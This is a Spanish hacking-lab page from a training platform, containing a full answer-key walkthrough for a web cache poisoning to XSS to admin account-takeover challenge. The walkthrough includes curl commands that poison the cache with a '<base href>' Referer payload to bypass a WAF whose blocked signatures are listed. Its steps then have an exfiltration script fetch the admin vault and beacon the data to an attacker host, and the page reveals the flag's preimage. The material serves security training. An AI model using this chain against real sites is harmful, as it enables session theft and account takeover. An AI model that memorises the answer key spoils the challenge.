BBLABSBBLABS
LaboratoriosAprender desde 0FuncionesPreciosTestimoniosDetrás de BBLABS
  1. Inicio
  2. Labs
  3. Web Cache Poisoning → XSS con bypass de WAF → ATO one-click del asesor
Difícil45 min

Web Cache Poisoning → XSS con bypass de WAF → ATO one-click del asesor

Por @gorka

El portal de suscriptores de **Meridian Press** (grupo editorial ficticio) se sirve detrás de un edge cache. El error handler 404 legacy del origin refleja la cabecera `Referer` sin escapar y el edge cachea esa página keyed solo por el path

$1,100

Es lo que una empresa pagó por este fallo en YesWeHack. Aquí lo tienes reconstruido para que lo encuentres tú.

1.6K visitas10 completadosActualizado nov 2026
Iniciar sesión para empezar

Aprende a encontrar este bug

Este bug pagó $1,100 en YesWeHack.

Crea tu cuenta y practica bugs reales que se pagaron. Descarga el entorno, encuéntralo y aprende la técnica exacta — tu camino a tu primer bounty.

650

hunters entrenando

50

labs de hackeos reales

380

completaciones

$12.000

pagados por estos bugs

40 flags capturadas esta semana
Crear cuenta
Ya tengo cuenta

Acceso a todos los labs · sin permanencia · cancela cuando quieras

Hackers que lo han resuelto· 8

3nk11
@3nk1Hace 19 días
sharat chandra2
@sharat chandraoct 2026
zuk4r13
@zuk4r1sept 2026
MA
@maxioliverasept 2026
clem
@clemsept 2026
vazquezdv182005
@vazquezdv182005ago 2026
w4tchw0lf
@w4tchw0lfjul 2026
kaneki
@kanekijul 2026

Objetivos

1
Identificar que delante del portal hay un edge cacheante y que su cache key es únicamente el path
2
Descubrir que la página 404 legacy del origin refleja la cabecera `Referer` sin escapar
3
Comprobar que el `Referer` no entra en la cache key (envenenar con un `Referer` y leer ese contenido
4
Sembrar la cache de un path `/subscription/<slug>` con un `Referer` que inyecte ese tag apuntando a tu caja
5
xtraer con ese JS el `flag` de `GET /api/vault` (admin-only) en el contexto del asesor y balizarlo a tu caja (`/collect`); leer la flag en `/collect/log

Información

Plataforma
YesWeHack
Dificultad
Difícil
Duración
45 min
Bounty
$1,100
Completados
10
Creador
gorka@gorka
Colaboradores
antoniorivera@antoniorivera
Actualizado
nov 2026

Descarga el entorno

Reprodúcelo y encuentra el bug tú mismo

Crear cuenta

Herramientas

Burp SuiteNavegador

Prerequisitos

  • HTTP
  • XSS
  • Conocimientos Burp Suite

Tags

XSS

Logro que recibirás

Cuando resuelvas este lab desbloqueas este logro compartible

Cuando resuelvas este lab desbloqueas este logro compartible

Writeups de la comunidad

Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

  • Target (edge cacheante): http://localhost:2200
  • Tu caja de atacante (drop): http://localhost:2201

Credenciales preseed:

  • attacker (lector de demo, suscriptor): attacker@meridian.local / password123 — a /api/vault recibe 403.
  • advisor (asesor de cuenta, admin, identidad del bot): advisor@meridian.local / random por boot (no necesario; nunca se loguea a mano).
  • otros suscriptores: ver app/server/src/db/seed.ts.

Cadena completa (answer-key)

Este apartado es la solución detallada. Si aún no has intentado el reto, ve primero a CHALLENGE.md.

Paso 1 — Descubrir el edge y su cache key

Toda respuesta del target trae cabeceras de CDN. Pide dos veces el mismo path:

curl -is http://localhost:2200/pricing | grep -iE 'x-cache|age|server-timing|server'
# 1ª → X-Cache: MISS ; Age: 0 ; server-timing: cache;desc="miss" ; Server: meridian-edge
curl -is http://localhost:2200/pricing | grep -iE 'x-cache|age'
# 2ª → X-Cache: HIT ; Age: N

La cache key es solo el path: repite el mismo path con distinta query y sigue devolviendo HIT del contenido original. Las rutas /api/* y los POST no se cachean (X-Cache: BYPASS). TTL 45 s.

Paso 2 — La 404 legacy refleja el Referer sin escapar

Pide una sección inexistente de /subscription/* con un marcador en Referer:

curl -is 'http://localhost:2200/subscription/no-existe-xyz' \
  -H 'Referer: PROBE_meridian_marker' | grep -A1 'Volviste desde'
# → <p class="e404-from">Volviste desde: <span>PROBE_meridian_marker</span></p>

El valor del Referer sale crudo en el <body> (auto-descubrimiento: el marcador aparece literal sin adivinar nada). En view-source de esa 404 también verás:

<script src="/assets/edge-404.js"></script>

Un path root-absoluto (empieza por /): ese es el recurso que un tag de reasignación de base puede reapuntar a otro origin. /assets/edge-404.js existe de verdad en el origin (es un tracker legítimo de páginas no encontradas).

Paso 3 — Referer fuera de la cache key + bypass del WAF

El Referer es un input reflejado que no entra en la cache key. Envenena un path con un Referer y léelo en una request sin él:

# Sembrar
curl -s 'http://localhost:2200/subscription/mi-slug-de-ataque' \
  -H 'Referer: SEED_ABC' >/dev/null
# Leer sin Referer → devuelve el SEED_ABC cacheado con X-Cache: HIT
curl -is 'http://localhost:2200/subscription/mi-slug-de-ataque' | grep -E 'X-Cache|SEED_ABC'

El edge sirve contenido derivado de un Referer que no es el de la request actual → confirmado: el Referer está fuera de la key.

El WAF del edge (403 con página de bloqueo "suspicious markup") bloquea, case-insensitive, estas firmas:

<script        →  bloqueado
onerror=       →  bloqueado (\bon\w+\s*=)
<svg           →  bloqueado
srcdoc         →  bloqueado
javascript:    →  bloqueado
data:          →  bloqueado

Pelear el filtro de frente (doble-encoding, <ScRiPt, null bytes, <img/onerror>) es un decoy: todo eso está cubierto. La blocklist es incompleta: no cubre el tag <base>, que reasigna la base contra la que se resuelven los recursos root-absolutos de la página. Siembra la cache con bytes crudos (no URL-encodeados) apuntando a tu caja en la red docker (drop:2201, que es donde lo resolverá el navegador del bot):

curl -s 'http://localhost:2200/subscription/mi-slug-de-ataque' \
  -H 'Referer: <base href="http://drop:2201/">' >/dev/null
# La 404 envenenada (Referer reflejado con el <base> + <script src="/assets/edge-404.js">)
# queda cacheada bajo /subscription/mi-slug-de-ataque durante 45 s.

Por qué la cache es load-bearing. Un navegador víctima nunca enviaría </> crudos en su propio Referer (los URL-encodea), así que no puede auto-infligirse el payload navegando. El atacante siembra la cache una sola vez con curl (bytes crudos) y los navegadores víctima reciben esos bytes desde la respuesta cacheada, sin volver a tocar el origin. El edge es lo único que puede inyectar bytes que un navegador nunca emitiría. Sin cache no hay víctimas de terceros: sería un XSS reflejado auto-infligido.

Paso 4 — Llevar el payload a la víctima (bot admin) y exfiltrar

En "Mi cuenta" existe la función Compartir con un asesor. Encola una visita del asesor (bot admin, Puppeteer) a una URL del portal:

# Con la sesión del attacker (cookie meridian_session o Bearer):
curl -s 'http://localhost:2200/account/share-with-advisor' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: meridian_session=<tu-jwt>' \
  --data '{"url":"http://localhost:2200/subscription/mi-slug-de-ataque"}'
# → {"ok":true,"ticketId":N,"message":"enlace enviado al asesor #N"}

El bot (ciclo ~8 s) hace login como advisor@meridian.local, inyecta su cookie de sesión en el host del edge y abre la URL a través del edge → recibe la 404 cacheada y envenenada. Su navegador parsea <base href="http://drop:2201/">, resuelve /assets/edge-404.js contra tu drop (el <base> cambió el origin de resolución) y ejecuta tu exfil.js en el origin de Meridian con la sesión admin del asesor.

Tu exfil.js hace fetch(location.origin + '/api/vault', { credentials:'include' }) (200 solo para admin) y baliza el JSON a http://drop:2201/collect. Lee la captura:

curl -s http://localhost:2201/collect/log | python3 -m json.tool
# o en el navegador:  http://localhost:2201/collect/log

Verás un beacon alive@http://localhost:2200 y luego el cuerpo del vault con el campo flag.

Automatización completa: python3 exploit.py (login → siembra → share → poll /collect/log → flag) y python3 tests/verify.py.

Flag

La flag tiene formato FLAG{md5(<preimage>)}.

Preimagen (en flag/README.md / flag/verify.sh, excluida del Docker context):

edgecachepoison::cache_poison::base_href_waf_bypass::bot_admin_ato::2026

Verifica localmente:

printf '%s' 'edgecachepoison::cache_poison::base_href_waf_bypass::bot_admin_ato::2026' | md5sum
# o
bash flag/verify.sh

La flag vive solo en el vault admin-only del origin; nunca viaja al bundle cliente, ni a env vars expuestas al navegador, ni a respuestas anónimas. Solo se obtiene completando la cadena.

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.

BBLABS LogoBBLABS

Laboratorios de hacking basados en hackeos reales. Aprende practicando sobre entornos vulnerables, con la resolución explicada paso a paso.

Producto

  • Funcionalidades
  • Precios
  • Labs
  • Aprender desde 0
  • Blog
  • Detrás de BBLABS

Legal

  • Términos
  • Privacidad
  • Cookies
  • Entrar
  • Crear cuenta

Para cualquier duda, bug, soporte o sugerencia puedes escribir a team@bblabs.es

© 2026 BBLABS. Todos los derechos reservados.